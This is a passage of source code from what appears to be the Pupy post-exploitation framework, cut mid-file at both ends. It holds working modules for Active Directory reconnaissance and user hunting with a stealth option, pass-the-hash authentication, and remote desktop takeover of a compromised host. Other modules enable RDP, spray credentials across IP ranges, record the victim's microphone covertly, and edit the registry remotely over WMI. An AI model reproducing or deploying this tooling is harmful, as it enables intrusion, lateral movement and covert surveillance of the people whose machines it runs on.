subparsers.add_parser('get-dfsshare', help='Return a list of '\\\n            'all fault tolerant distributed file systems for a given domain', parents=[ad_parser])\n        get_dfsshare_parser.add_argument('-d', '--domain', dest='queried_domain',\n                help='Domain to query')\n        get_dfsshare_parser.add_argument('-v', '--version', nargs='+', choices=['v1', 'v2'],\n                default=['v1', 'v2'], help='The version of DFS to query for servers: v1, v2 or all (default: all)')\n        get_dfsshare_parser.add_argument('-a', '--ads-path', dest='ads_path',\n                help='Additional ADS path')\n        get_dfsshare_parser.set_defaults(func='get_dfsshare')\n\n        # Parser for the get-netou command\n        get_netou_parser= subparsers.add_parser('get-netou', help='Get a list of all current '\\\n            'OUs in the domain', parents=[ad_parser])\n        get_netou_parser.add_argument('--ouname', dest='queried_ouname',\n                default='*', help='OU name to query (wildcards accepted)')\n        get_netou_parser.add_argument('--guid', dest='queried_guid',\n                help='Only return OUs with the specified GUID in their gplink property.')\n        get_netou_parser.add_argument('-d', '--domain', dest='queried_domain',\n                help='Domain to query')\n        get_netou_parser.add_argument('-a', '--ads-path',\n                help='Additional ADS path')\n        get_netou_parser.add_argument('--full-data', action='store_true',\n                help='If set, returns full information on the OUs, otherwise, just the adspath')\n        get_netou_parser.set_defaults(func='get_netou')\n\n        # Parser for the get-netsite command\n        get_netsite_parser= subparsers.add_parser('get-netsite', help='Get a list of all current '\\\n            'sites in the domain', parents=[ad_parser])\n        get_netsite_parser.add_argument('--sitename', dest='queried_sitename',\n                help='Site name to query (wildcards accepted)')\n        get_netsite_parser.add_argument('--guid', dest='queried_guid',\n                help='Only return sites with the specified GUID in their gplink property.')\n        get_netsite_parser.add_argument('-d', '--domain', dest='queried_domain',\n                help='Domain to query')\n        get_netsite_parser.add_argument('-a', '--ads-path',\n                help='Additional ADS path')\n        get_netsite_parser.add_argument('--full-data', action='store_true',\n                help='If set, returns full information on the sites, otherwise, just the name')\n        get_netsite_parser.set_defaults(func='get_netsite')\n\n        # Parser for the get-netsubnet command\n        get_netsubnet_parser= subparsers.add_parser('get-netsubnet', help='Get a list of all current '\\\n            'subnets in the domain', parents=[ad_parser])\n        get_netsubnet_parser.add_argument('--sitename', dest='queried_sitename',\n                help='Only return subnets for the specified site name (wildcards accepted)')\n        get_netsubnet_parser.add_argument('-d', '--domain', dest='queried_domain',\n                help='Domain to query')\n        get_netsubnet_parser.add_argument('-a', '--ads-path',\n                help='Additional ADS path')\n        get_netsubnet_parser.add_argument('--full-data', action='store_true',\n                help='If set, returns full information on the subnets, otherwise, just the name')\n        get_netsubnet_parser.set_defaults(func='get_netsubnet')\n\n        # Parser for the get-netgpo command\n        get_netgpo_parser= subparsers.add_parser('get-netgpo', help='Get a list of all current '\\\n            'GPOs in the domain', parents=[ad_parser])\n        get_netgpo_parser.add_argument('--gponame', dest='queried_gponame',\n                default='*', help='GPO name to query for (wildcards accepted)')\n        get_netgpo_parser.add_argument('--displayname', dest='queried_displayname',\n                help='Display name to query for (wildcards accepted)')\n        get_netgpo_parser.add_argument('-d', '--domain', dest='queried_domain',\n                help='Domain to query')\n        get_netgpo_parser.add_argument('-a', '--ads-path',\n                help='Additional ADS path')\n        get_netgpo_parser.set_defaults(func='get_netgpo')\n\n        # Parser for the get-netgroup command\n        get_netgroupmember_parser= subparsers.add_parser('get-netgroupmember', help='Return a list of members of a domain groups', parents=[ad_parser])\n        get_netgroupmember_parser.add_argument('--groupname', dest='queried_groupname',\n                help='Group to query, defaults to the \\'Domain Admins\\' group (wildcards accepted)')\n        get_netgroupmember_parser.add_argument('--sid', dest='queried_sid',\n                help='SID to query')\n        get_netgroupmember_parser.add_argument('-d', '--domain', dest='queried_domain',\n                help='Domain to query')\n        get_netgroupmember_parser.add_argument('-a', '--ads-path', dest='ads_path',\n                help='Additional ADS path')\n        get_netgroupmember_parser.add_argument('-r', '--recurse', action='store_true',\n                help='If the group member is a group, try to resolve its members as well')\n        get_netgroupmember_parser.add_argument('--use-matching-rule', action='store_true',\n                help='Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified.\\n' \\\n            'Much faster than manual recursion, but doesn\\'t reveal cross-domain groups')\n        get_netgroupmember_parser.add_argument('--full-data', action='store_true',\n                help='If set, returns full information on the members')\n        get_netgroupmember_parser.set_defaults(func='get_netgroupmember')\n\n        # Parser for the get-netsession command\n        get_netsession_parser= subparsers.add_parser('get-netsession', help='Queries a host to return a '\\\n            'list of active sessions on the host (you can use local credentials instead of domain credentials)', parents=[target_parser])\n        get_netsession_parser.set_defaults(func='get_netsession')\n\n        #Parser for the get-localdisks command\n        get_localdisks_parser = subparsers.add_parser('get-localdisks', help='Queries a host to return a '\\\n            'list of active disks on the host (you can use local credentials instead of domain credentials)', parents=[target_parser])\n        get_localdisks_parser.set_defaults(func='get_localdisks')\n\n        #Parser for the get-netdomain command\n        get_netdomain_parser = subparsers.add_parser('get-netdomain', help='Queries a host for available domains',\n            parents=[ad_parser])\n        get_netdomain_parser.set_defaults(func='get_netdomain')\n\n        # Parser for the get-netshare command\n        get_netshare_parser= subparsers.add_parser('get-netshare', help='Queries a host to return a '\\\n            'list of available shares on the host (you can use local credentials instead of domain credentials)', parents=[target_parser])\n        get_netshare_parser.set_defaults(func='get_netshare')\n\n        # Parser for the get-netloggedon command\n        get_netloggedon_parser= subparsers.add_parser('get-netloggedon', help='This function will '\\\n            'execute the NetWkstaUserEnum RPC call ti query a given host for actively logged on '\\\n            'users', parents=[target_parser])\n        get_netloggedon_parser.set_defaults(func='get_netloggedon')\n\n        # Parser for the get-netlocalgroup command\n        get_netlocalgroup_parser= subparsers.add_parser('get-netlocalgroup', help='Gets a list of '\\\n            'members of a local group on a machine, or returns every local group. You can use local '\\\n            'credentials instead of domain credentials, however, domain credentials are needed to '\\\n            'resolve domain SIDs.', parents=[target_parser])\n        get_netlocalgroup_parser.add_argument('--groupname', dest='queried_groupname',\n                help='Group to list the members of (defaults to the local \\'Administrators\\' group')\n        get_netlocalgroup_parser.add_argument('--list-groups', action='store_true',\n                help='If set, returns a list of the local groups on the targets')\n        get_netlocalgroup_parser.add_argument('-t', '--dc-ip', dest='domain_controller',\n                default=str(), help='IP address of the Domain Controller (used to resolve domain SIDs)')\n        get_netlocalgroup_parser.add_argument('-r', '--recurse', action='store_true',\n                help='If the group member is a domain group, try to resolve its members as well')\n        get_netlocalgroup_parser.set_defaults(func='get_netlocalgroup')\n\n        # Parser for the invoke-checklocaladminaccess command\n        invoke_checklocaladminaccess_parser = subparsers.add_parser('invoke-checklocaladminaccess', help='Checks '\\\n                'if the given user has local admin access on the given host', parents=[target_parser])\n        invoke_checklocaladminaccess_parser.set_defaults(func='invoke_checklocaladminaccess')\n\n        # Parser for the invoke-userhunter command\n        invoke_userhunter_parser = subparsers.add_parser('invoke-userhunter', help='Finds '\\\n                'which machines domain users are logged into', parents=[ad_parser])\n        invoke_userhunter_parser.add_argument('--computername', dest='queried_computername',\n                nargs='+', default=list(), help='Host to enumerate against')\n        invoke_userhunter_parser.add_argument('--computerfile', dest='queried_computerfile',\n                type=FileType('r'), help='File of hostnames/IPs to search')\n        invoke_userhunter_parser.add_argument('--computer-adspath', dest='queried_computeradspath',\n                type=str, help='ADS path used to search computers against the DC')\n        invoke_userhunter_parser.add_argument('--unconstrained', action='store_true',\n                help='Query only computers with unconstrained delegation')\n        invoke_userhunter_parser.add_argument('--groupname', dest='queried_groupname',\n                help='Group name to query for target users')\n        invoke_userhunter_parser.add_argument('--targetserver', dest='target_server',\n                help='Hunt for users who are effective local admins on this target server')\n        invoke_userhunter_parser.add_argument('--username', dest='queried_username',\n                help='Hunt for a specific user name')\n        invoke_userhunter_parser.add_argument('--user-adspath', dest='queried_useradspath',\n                type=str, help='ADS path used to search users against the DC')\n        invoke_userhunter_parser.add_argument('--userfile', dest='queried_userfile',\n                type=FileType('r'), help='File of user names to target')\n        invoke_userhunter_parser.add_argument('--threads', type=int,\n                default=1, help='Number of threads to use (default: %(default)s)')\n        invoke_userhunter_parser.add_argument('-v', '--verbose', action='store_true',\n                help='Displays results as they are found')\n        invoke_userhunter_parser.add_argument('--admin-count', action='store_true',\n                help='Query only users with adminCount=1')\n        invoke_userhunter_parser.add_argument('--allow-delegation', action='store_true',\n                help='Return user accounts that are not marked as \\'sensitive and '\\\n                        'not allowed for delegation\\'')\n        invoke_userhunter_parser.add_argument('--stop-on-success', action='store_true',\n                help='Stop hunting after finding target user')\n        invoke_userhunter_parser.add_argument('--check-access', action='store_true',\n                help='Check if the current user has local admin access to the target servers')\n        invoke_userhunter_parser.add_argument('-d', '--domain', dest='queried_domain',\n                help='Domain to query for machines')\n        invoke_userhunter_parser.add_argument('--stealth', action='store_true',\n                help='Only enumerate sessions from commonly used target servers')\n        invoke_userhunter_parser.add_argument('--stealth-source', nargs='+', choices=['dfs', 'dc', 'file'],\n                default=['dfs', 'dc', 'file'],\n                help='The source of target servers to use, '\\\n            '\\'dfs\\' (distributed file server), \\'dc\\' (domain controller), '\\\n            'or \\'file\\' (file server) (default: all)')\n        invoke_userhunter_parser.add_argument('--show-all', action='store_true',\n                help='Return all user location results')\n        invoke_userhunter_parser.add_argument('--foreign-users', action='store_true',\n                help='Only return users that are not part of the searched domain')\n        invoke_userhunter_parser.set_defaults(func='invoke_userhunter')\n\n    def run(self, args):\n\n        # parse args entered\n        if args.hashes:\n            try:\n                args.lmhash, args.nthash = args.hashes.split(':')\n            except ValueError:\n                args.lmhash, args.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes\n        else:\n            args.lmhash = args.nthash = str()\n\n        if args.password is None and not args.hashes:\n            self.warning(\"A password or a hash is needed\")\n            return\n\n        parsed_args = dict()\n        for k, v in vars(args).items():\n            if k not in ('func', 'hashes'):\n                parsed_args[k] = v\n\n        # call the fcorrect function\n        function = getattr(self.client.conn.modules['pywerview.cli.helpers'], args.func)\n        results = function(**parsed_args)\n\n        # prints results\n        try:\n            for x in results:\n                x = str(x)\n                print(x)\n                if '\\n' in x:\n                    print('')\n        except TypeError:\n            print(results)\n"
  },
  {
    "path": "pupy/modules/rdesktop.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport base64\nimport subprocess\nimport time\nimport threading\nimport json\n\nfrom pupy.pupylib.PupyModule import PupyModule, config, PupyArgumentParser\nfrom pupy.pupylib.PupyWeb import RequestHandler, WebSocketHandler, tornado\nfrom pupy.pupylib.PupyLogger import getLogger\n\nlogger = getLogger('rdesktop')\n\n__class_name__=\"RemoteDesktopModule\"\n\nclass RdesktopWebSocketHandler(WebSocketHandler):\n    def initialize(self, client, refresh_interval, module, **kwargs):\n        self.client = client\n        self.refresh_interval = refresh_interval\n        self.remote_streamer = None\n        self.module = module\n        self.events_thread = None\n        self.stop_events_thread = threading.Event()\n        self.mouse_pos = None\n        self.mouse_lock = threading.Lock()\n\n        super(RdesktopWebSocketHandler, self).initialize(**kwargs)\n\n    def on_open(self):\n        self.set_nodelay(True)\n        pass\n\n    def events_handler(self, mouse_refresh_rate=0.01):\n        \"\"\" function to handle events in queue \"\"\"\n        while not self.stop_events_thread.is_set():\n            try:\n                mp = None\n                with self.mouse_lock:\n                    if self.mouse_pos:\n                        mp = self.mouse_pos\n                        self.mouse_pos = None\n                if mp:\n                    #print \"moving to %s\"%str(mp)\n                    self.remote_streamer.move(*mp)\n\n                time.sleep(mouse_refresh_rate)\n            except Exception as e:\n                logger.error(e)\n                break\n\n    def on_message(self, data):\n        js = json.loads(data)\n        if js['msg']== 'start_stream':\n            self.start_stream()\n\n        elif js['msg'] == 'click':\n            logger.info(\"mouse click at : (%s, %s)\"%(js['x'], js['y']))\n            self.remote_streamer.click(int(js['x']), int(js['y']))\n\n        elif js['msg'] == 'move':\n            with self.mouse_lock:\n                self.mouse_pos=(int(js['x']), int(js['y']))\n\n        elif js['msg'] == 'keypress':\n            key = js['key'] #unicode key\n            logger.info(\"key press : %s\"%key)\n            try:\n                if len(key) > 1:\n                    key=key.lower()\n                    self.remote_streamer.kbd_send(key)\n\n                else:\n                    self.remote_streamer.kbd_write(key)\n            except Exception as e:\n                logger.error(e)\n\n        else:\n            logger.error(\"unknown message:\"+data)\n\n    def update_video_callback(self, jpg_data, width, height):\n        try:\n            self.write_message(json.dumps({\n                'screen': base64.b64encode(jpg_data),\n                'width': width,\n                'height': height\n            }))\n\n        except tornado.websocket.WebSocketClosedError:\n            pass\n\n    def start_stream(self):\n        logger.info('starting video stream stream ...')\n\n        if self.remote_streamer:\n            self.remote_streamer.stop()\n\n        create_video_streamer = self.client.remote('rdesktop', 'create_video_streamer', False)\n\n        self.remote_streamer = create_video_streamer(\n            self.update_video_callback,\n            self.refresh_interval)\n\n        if self.stop_events_thread:\n            self.stop_events_thread.set()\n            self.stop_events_thread = threading.Event()\n\n        self.events_thread = threading.Thread(target=self.events_handler)\n\n        self.events_thread.daemon = True\n        self.events_thread.start()\n        logger.info('streaming video started')\n\n    def on_close(self):\n        if self.remote_streamer:\n            self.remote_streamer.stop()\n\n        if self.stop_events_thread:\n            self.stop_events_thread.set()\n\nclass IndexHandler(RequestHandler):\n    def initialize(self, **kwargs):\n        self.client = kwargs.pop('client', None)\n        super(IndexHandler, self).initialize(**kwargs)\n\n    async def get(self):\n        self.render('rdesktop/index.html', port=self.client.pupsrv.pupweb.port)\n\n@config(category=\"admin\", tags=[\"rdesktop\",\"rdp\", \"vnc\", \"remote\", \"desktop\"], compat=['windows', 'linux', 'darwin'])\nclass RemoteDesktopModule(PupyModule):\n    \"\"\" Start a remote desktop session using a browser websocket client \"\"\"\n\n    dependencies = ['mss', 'rdesktop', 'keyboard', 'png']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"rdesktop\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            '-v', '--view', action='store_true',\n            help='directly open a browser tab on the handler url')\n\n        cls.arg_parser.add_argument(\n            '-r', '--refresh-interval',\n            default=0.02, type=float,\n            help='refresh interval. Set to 0 for best reactivity')\n\n    def run(self, args):\n        self.web_handlers=[\n            (r'/?', IndexHandler, {\n                'client': self.client\n            }),\n            (r'/ws', RdesktopWebSocketHandler, {\n                'client': self.client,\n                'refresh_interval': args.refresh_interval,\n                'module': self\n            }),\n        ]\n\n        conninfo = self.start_webplugin()\n        if not conninfo:\n            self.error('WebServer is not enabled')\n            self.info('Enable with \"config set pupyd webserver true\"')\n            return\n\n        port, path = conninfo\n        self.success(\"Web handler started on http://127.0.0.1:%d%s\"%(port, path))\n        self.info(\"By default, web handler accepts connections from localhost only\")\n        self.info(\"Use the following pupy command for allowing another ip address to connect to web handler:\")\n        self.info(\"'config set webserver local_ips X.Y.Z.A'\")\n        if args.view:\n            config = self.client.pupsrv.config\n            viewer = config.get('default_viewers', 'browser')\n            try:\n                subprocess.Popen([viewer, path])\n            except Exception as e:\n                self.error(\"Impossible to execute '{0} {1}': {2}\".format(viewer, path, str(e)))\n"
  },
  {
    "path": "pupy/modules/rdp.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom threading import Event\n\n__class_name__=\"Rdp\"\n\n@config(cat=\"admin\", compatibilities=['windows', 'linux', 'darwin'])\nclass Rdp(PupyModule):\n    \"\"\" Enable / Disable rdp connection or check for valid credentials on a remote host \"\"\"\n\n    dependencies = {\n        'windows': ['pupwinutils.rdp'],\n        'all': [\n            'pupyutils.rdp_check', 'impacket', 'calendar', 'OpenSSL'\n        ]\n    }\n\n    terminate_scan = None\n    terminate_wait = None\n    terminated = False\n\n    @classmethod\n    def init_argparse(cls):\n\n        example = 'Examples:\\n'\n        example += '>> run rdp local --enable\\n'\n        example += '>> run rdp local --disable\\n'\n        example += '>> run rdp remote -u john -p P4ssw0rd 192.168.0.1,192.168.1.2,192.168.3.0/24\\n'\n\n        cls.arg_parser = PupyArgumentParser(prog=\"Rdp\", description=cls.__doc__, epilog=example)\n        subparsers = cls.arg_parser.add_subparsers(title='Choose a specific action')\n\n        local = subparsers.add_parser('local', help='Enable / Disable rdp connection (only for windows hosts)')\n        local.set_defaults(local=True, remote=False)\n        local.add_argument('--enable', '-e', action='store_true', help='enable rdp')\n        local.add_argument('--disable', '-d', action='store_true', help='disable rdp')\n\n        remote = subparsers.add_parser('remote', help='Check for valid credentials on a remote host')\n        remote.set_defaults(remote=True, local=False)\n\n        remote.add_argument('-d', dest='domain', default='workgroup', help='domain used for checking RDP connection')\n        remote.add_argument('-u', dest='username', required=True, help='username used for checking RDP connection')\n        remote.add_argument('-p', dest='password', default= '', help='password used for checking RDP connection')\n        remote.add_argument('-H', dest='hashes', help='NTLM hashes used for checking RDP connection')\n\n        remote.add_argument('targets', help='remote host or range for checking RDP connection')\n\n    def run(self, args):\n        # TO DO: enable multi RDP session, see MIMIKATZ for example\n\n        if args.local:\n            if args.enable or args.disable:\n                if not self.client.is_windows():\n                    self.error(\"This option could be used only on windows hosts\")\n                    return\n\n                check_if_admin = self.client.remote('pupwinutils.rdp', 'check_if_admin', False)\n                disable_rdp = self.client.remote('pupwinutils.rdp', 'disable_rdp', False)\n                enable_rdp = self.client.remote('pupwinutils.rdp', 'enable_rdp', False)\n\n                # check if admin\n                if not check_if_admin:\n                    self.error(\"Admin privileges are required\")\n                    return\n\n                if args.disable:\n                    disable_rdp()\n\n                if args.enable:\n                    enable_rdp()\n\n        elif args.remote:\n            check_rdp = self.client.remote('pupyutils.rdp_check', 'check_rdp', False)\n\n            self.terminate_wait = Event()\n\n            def show_result(host, result):\n                if result is True:\n                    self.success('{}: OK'.format(host))\n                elif result is False:\n                    self.warning('{}: FAIL'.format(host))\n                else:\n                    self.error('{}: {}'.format(host, result))\n\n            def on_complete(hosts):\n                self.success('Completed ({} connectable hosts)'.format(len(hosts)))\n                self.terminate_wait.set()\n\n            self.terminate_scan = check_rdp(\n                args.targets, args.username, args.password, args.domain, args.hashes,\n                on_complete, show_result\n            )\n\n            self.terminate_wait.wait()\n\n    def interrupt(self):\n        if not self.terminated:\n            self.terminated = True\n\n            if self.terminate_scan:\n                self.terminate_scan()\n\n            if self.terminate_wait:\n                self.terminate_wait.set()\n"
  },
  {
    "path": "pupy/modules/record_mic.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyErrors import PupyModuleError\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser\n)\n\nimport datetime\nimport os.path\nimport subprocess\nimport wave\n\n\n__class_name__=\"RecordMicrophoneModule\"\n\n\ndef save_wav(path, sample_width, channels, rate, raw_frames):\n    waveFile = wave.open(path, 'wb')\n    waveFile.setnchannels(channels)\n    waveFile.setsampwidth(sample_width)\n    waveFile.setframerate(rate)\n    waveFile.writeframes(raw_frames)\n    waveFile.close()\n\n\n@config(cat=\"gather\", compat=[\"windows\"])\nclass RecordMicrophoneModule(PupyModule):\n    \"\"\" record sound with the microphone ! \"\"\"\n\n    dependencies=[\"pyaudio\", \"mic_recorder\"]\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='record_mic', description=cls.__doc__)\n        cls.arg_parser.add_argument('-t', '--time', default=5, help='number of 5 seconds recordings to save')\n        cls.arg_parser.add_argument('-m', '--max-length', default=None, help='split recorded files into multiple files if the recording goes over --max-length seconds')\n        cls.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open the default sound player for preview')\n\n    def run(self, args):\n        try:\n            os.makedirs(os.path.join(\"data\", \"audio_records\"))\n        except Exception:\n            pass\n\n        self.success(\"starting recording for %ss ...\" % args.time)\n\n        max_length = args.max_length\n        if max_length is None:\n            max_length = args.time\n        if int(max_length) > int(args.time):\n            raise PupyModuleError(\"--max-length argument cannot be bigger than --time\")\n\n        for sw, c, r, rf in self.client.conn.modules['mic_recorder'].record_iter(total=args.time, chunk=max_length):\n            filepath = os.path.join(\"data\",\"audio_records\",\"mic_\" + self.client.short_name() + \"_\" + str(datetime.datetime.now()).replace(\" \",\"_\").replace(\":\",\"-\") + \".wav\")\n            save_wav(filepath, sw, c, r, rf)\n            self.success(\"microphone recording saved to %s\" % filepath)\n\n        if args.view:\n            viewer = self.client.pupsrv.config.get(\"default_viewers\", \"sound_player\")\n\n            found = False\n            for p in os.environ.get('PATH', '').split(':'):\n                if os.path.exists(os.path.join(p, viewer)):\n                    subprocess.Popen([viewer, filepath])\n                    found = True\n                    break\n\n            if not found:\n                self.error('Default viewer not found: %s' % viewer)\n"
  },
  {
    "path": "pupy/modules/reg.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\n__class_name__ = 'reg'\n\nimport sys\n\nfrom threading import Event\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import (\n    Color, List, Table, Line, MultiPart, TruncateToTerm\n)\n\nfrom pupy.network.lib.convcompat import as_unicode_string\n\n\nif sys.version_info.major > 2:\n    unicode = str\n    basestring = str\n\n\nTYPES = (\n    'NONE', 'SZ', 'EXPAND_SZ', 'BINARY', 'LE32', 'BE32',\n    'LINK', 'MULTI_SZ', 'RESOURCE', 'RESOURCE_DESCRIPTOR',\n    'RESOURCE_REQUIREMENTS_LIST', 'LE64'\n)\n\nTYPE_COLORS = {\n    'NONE': 'darkgrey',\n    'SZ': 'white',\n    'EXPAND_SZ': 'cyan',\n    'BINARY': 'grey',\n    'LE32': 'lightgreen',\n    'BE32': 'blue',\n    'LE64': 'lightgreen',\n    'LINK': 'lightyellow',\n    'MULTI_SZ': 'lightred',\n    'RESOURCE': 'red',\n    'RESOURCE_DESCRIPTOR': 'red',\n    'RESOURCE_REQUIREMENTS_LIST': 'red'\n}\n\n\ndef fix_key(x):\n    x = as_unicode_string(x, fail='convert')\n    x = x.strip()\n\n    if x is None:\n        return x\n    elif '\\\\' not in x:\n        x = x.replace('/', '\\\\')\n\n    while '\\\\\\\\' in x:\n        x = x.replace('\\\\\\\\', '\\\\')\n\n    return x\n\n\n@config(cat='admin')\nclass reg(PupyModule):\n    '''Search/list/get/set/delete registry keys/values '''\n\n    __slots__ = ('interrupt_cb', '_last_key')\n\n    dependencies = {\n        'windows': ['reg'],\n        'all': ['pupyutils.psexec', 'pupyutils.rreg']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='reg', description=cls.__doc__)\n\n        remote_args = cls.arg_parser.add_argument_group(\n            description='Remote connection (WMI)')\n        remote_args.add_argument(\n            '-R', '--host', help='IP Address of remote host',\n        )\n        remote_args.add_argument(\n            '--port', type=int, default=135, help='WMI Port'\n        )\n        remote_args.add_argument(\n            '-u', '--user', default='', help='Username to authenticate'\n        )\n\n        remote_args.add_argument(\n            '-d', '--domain', default='', help='Domain name'\n        )\n        remote_args.add_argument(\n            '-p', '--password', default='', help='Password'\n        )\n        remote_args.add_argument(\n            '-H', '--hash', default='', help='NTLM hash'\n        )\n        remote_args.add_argument(\n            '-t', '--timeout', default=30, type=int, help='NTLM hash'\n        )\n\n        commands = cls.arg_parser.add_subparsers(dest='command')\n\n        ls = commands.add_parser('ls')\n        ls.add_argument('key', nargs='?', help='List key (HKCU by default)')\n        ls.add_argument('-w', '--wide', action='store_true', default=False, help='Show all the things')\n        ls.set_defaults(func=cls.ls)\n\n        get = commands.add_parser('get')\n        get.add_argument('key', help='Key path (no default)')\n        get.add_argument(\n            'name', nargs='?', default='',\n            help='Value name (default is Default value)')\n        get.set_defaults(func=cls.get)\n\n        vset = commands.add_parser('set')\n        vset.add_argument(\n            '-c', '--create', action='store_true', default=False,\n            help='Create key')\n        vset.add_argument(\n            '-i', '--integer', action='store_true', default=False,\n            help='Set as DWORD/LE32, default SZ (string)')\n        vset.add_argument('key', help='Key path')\n        vset.add_argument('name', help='Value name to set')\n        vset.add_argument('value', help='Value to set')\n        vset.set_defaults(func=cls.set)\n\n        rm = commands.add_parser('rm')\n        rm.add_argument('key', help='Key path')\n        rm.add_argument('name', default='', nargs='?', help='Value name or subkey to delete')\n        rm.set_defaults(func=cls.rm)\n\n        search = commands.add_parser('search')\n        search.add_argument(\n            '-r', '--roots', default='HKU,HKLM,HKCC', help='Roots where to search (\",\" is delemiter)')\n        search.add_argument(\n            '-K', '--exclude-key-name', action='store_false', default=True,\n            help='Do not search term in key names')\n        search.add_argument(\n            '-N', '--exclude-value-name', action='store_false', default=True,\n            help='Do not search term in value names')\n        search.add_argument(\n            '-V', '--exclude-value', action='store_false', default=True,\n            help='Do not search term in values')\n        search.add_argument(\n            '-R', '--regex', action='store_true', default=False,\n            help='Search term is regex')\n        search.add_argument(\n            '-E', '--equals', action='store_true', default=False,\n            help='Show only full matches')\n        search.add_argument(\n            '-i', '--ignorecase', action='store_true', default=False,\n            help='Ignore case')\n        search.add_argument(\n            '-w', '--wide', action='store_true', default=False,\n            help='Show all the things')\n        search.add_argument(\n            '-1', '--first', action='store_true', default=False,\n            help='Return after first match')\n        search.add_argument('term', help='Term to search')\n        search.set_defaults(func=cls.search)\n\n    def __init__(self, *args, **kwargs):\n        super(reg, self).__init__(*args, **kwargs)\n        self.interrupt_cb = None\n\n    def _method(self, name, args, serialize=True):\n        if args.host:\n            method = self.client.remote('pupyutils.rreg', name, serialize)\n\n            def _wrapped(*fargs, **fkwargs):\n                fkwargs = dict(fkwargs)\n                fkwargs['timeout'] = args.timeout\n\n                return method(\n                    args.host, args.port, args.user, args.domain,\n                    args.password, args.hash,\n                    *fargs, **fkwargs\n                )\n\n            return _wrapped\n        else:\n            return self.client.remote('reg', name, serialize)\n\n    def run(self, args):\n        self.interrupt_cb = None\n        self._last_key = None\n\n        if not self.client.is_windows() and not args.host:\n            self.error('Specify remote host with -R')\n            return\n\n        try:\n            if getattr(args, 'key', None):\n                args.key = fix_key(args.key)\n\n            args.func(self, args)\n\n        except Exception as e:\n            import traceback\n            traceback.print_exc()\n\n            if hasattr(e, 'error_string'):\n                self.error(e.error_string)\n            elif e.args[0] == 5:\n                self.error('Access denied')\n            elif e.args[0] == 'ascii':\n                self.error('Encoding error: {}'.format(e))\n            else:\n                self.error('Error: {}'.format(e.args[0]))\n\n    def _format_multi(self, results, wide=False, remove=None):\n        keys = []\n        values = []\n\n        legend = ['NAME', 'TYPE', 'VALUE']\n        if not remove:\n            legend.insert(0, 'KEY')\n\n        for record in results:\n            is_key, key, rest = record[0], record[1], record[2:]\n            key = as_unicode_string(key, fail='convert')\n\n            if remove and key.startswith(remove):\n                key = key[len(remove)+1:]\n\n            if is_key:\n                keys.append(key)\n                continue\n\n            name, value, ktype = rest\n\n            ktype = TYPES[ktype]\n            color = TYPE_COLORS[ktype]\n\n            name = as_unicode_string(name, fail='convert')\n\n            if ktype == 'BINARY':\n                value = 'hex:' + value.encode('hex')\n            else:\n                value = as_unicode_string(value, fail='convert')\n\n            if not wide and isinstance(value, basestring):\n                value = value.strip()\n\n            values.append({\n                'KEY': Color(key, color),\n                'NAME': Color(name, color),\n                'VALUE': Color(value, color),\n                'TYPE': Color(ktype, color)\n            })\n\n        results = []\n\n        if keys:\n            results.append(List(keys, caption='{ Keys }'))\n\n        if values:\n            results.append(Table(values, legend, caption='Values'))\n\n        if not keys and not values:\n            self.log('Empty')\n        else:\n            results = MultiPart(results)\n            if not wide:\n                results = TruncateToTerm(results)\n            self.log(results)\n\n    def ls(self, args):\n        ls = self._method('enum', args)\n        result = ls(args.key)\n\n        if result is None:\n            self.error('No such key')\n            return\n\n        try:\n            self._format_multi(result, wide=args.wide, remove=args.key)\n        except:\n            import traceback\n            traceback.print_exc()\n\n    def get(self, args):\n        get = self._method('get', args)\n\n        value = get(args.key, as_unicode_string(args.name, fail='convert'))\n        if value is None:\n            self.error('No such key')\n        else:\n            self.log(value)\n\n    def set(self, args):\n        kset = self._method('set', args)\n        value = args.value\n\n        if args.integer:\n            value = int(value)\n        else:\n            value = as_unicode_string(value, fail='convert')\n\n        try:\n            if kset(args.key, as_unicode_string(args.name, fail='convert'), value, args.create):\n                self.success('OK')\n            else:\n                self.error('No such key')\n        except Exception as e:\n            print(e)\n            raise\n\n    def rm(self, args):\n        rm = self._method('rm', args)\n\n        if rm(args.key, as_unicode_string(args.name, fail='convert')):\n            self.success('OK')\n        else:\n            self.error('No such key')\n\n    def interrupt(self):\n        if self.interrupt_cb is None:\n            self.warning('Interrupt is not supported')\n            return\n\n        self.interrupt_cb()\n\n    def _format_by_one(self, record):\n        is_key, key, rest = record[0], record[1], record[2:]\n\n        if is_key is None:\n            self.error(key)\n            return\n\n        if self._last_key != key:\n            self._last_key = key\n            self.log(Line('KEY:', Color(key, 'yellow')))\n\n        if is_key:\n            return\n\n        name, value, ktype = rest\n\n        ktype = TYPES[ktype]\n        color = TYPE_COLORS[ktype]\n\n        if isinstance(value, basestring):\n            value = value.strip()\n\n        self.log(\n            List([\n                Line('Value:', Color(\n                    value if ktype != 'BINARY' else repr(value), color)),\n                Line('Type:', Color(ktype, color)),\n            ], caption=Color(' > ' + name, color) if name else None)\n        )\n\n    def search(self, 